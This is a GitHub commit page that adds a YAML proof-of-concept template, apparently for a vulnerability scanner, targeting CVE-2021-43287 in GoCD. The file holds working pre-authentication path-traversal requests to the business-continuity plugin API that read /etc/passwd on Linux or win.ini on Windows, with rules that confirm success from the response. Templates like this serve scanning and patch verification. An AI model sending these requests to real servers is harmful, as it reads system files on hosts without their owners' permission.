Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
* Update and rename cve-2021-43287.yml to gocd-cve-2021-43287.yml

* Update gocd-cve-2021-43287.yml

Co-authored-by: smile-jpg <[email protected]>
  • Loading branch information
For3stCo1d and smile-jpg authored Nov 10, 2021
1 parent 3018b8b commit 4cc5e08
Showing 1 changed file with 25 additions and 0 deletions.
25 changes: 25 additions & 0 deletions pocs/gocd-cve-2021-43287.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
name: poc-yaml-gocd-cve-2021-43287
manual: true
transport: http
rules:
linux0:
request:
cache: true
method: GET
path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../etc/passwd
follow_redirects: false
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
windows0:
request:
cache: true
method: GET
path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../windows/win.ini
follow_redirects: false
expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
expression: windows0() || linux0()

detail:
author: For3stCo1d (https://github.com/For3stCo1d)
description: "Gocd-file-read"
links:
- https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover

0 comments on commit 4cc5e08

Please sign in to comment.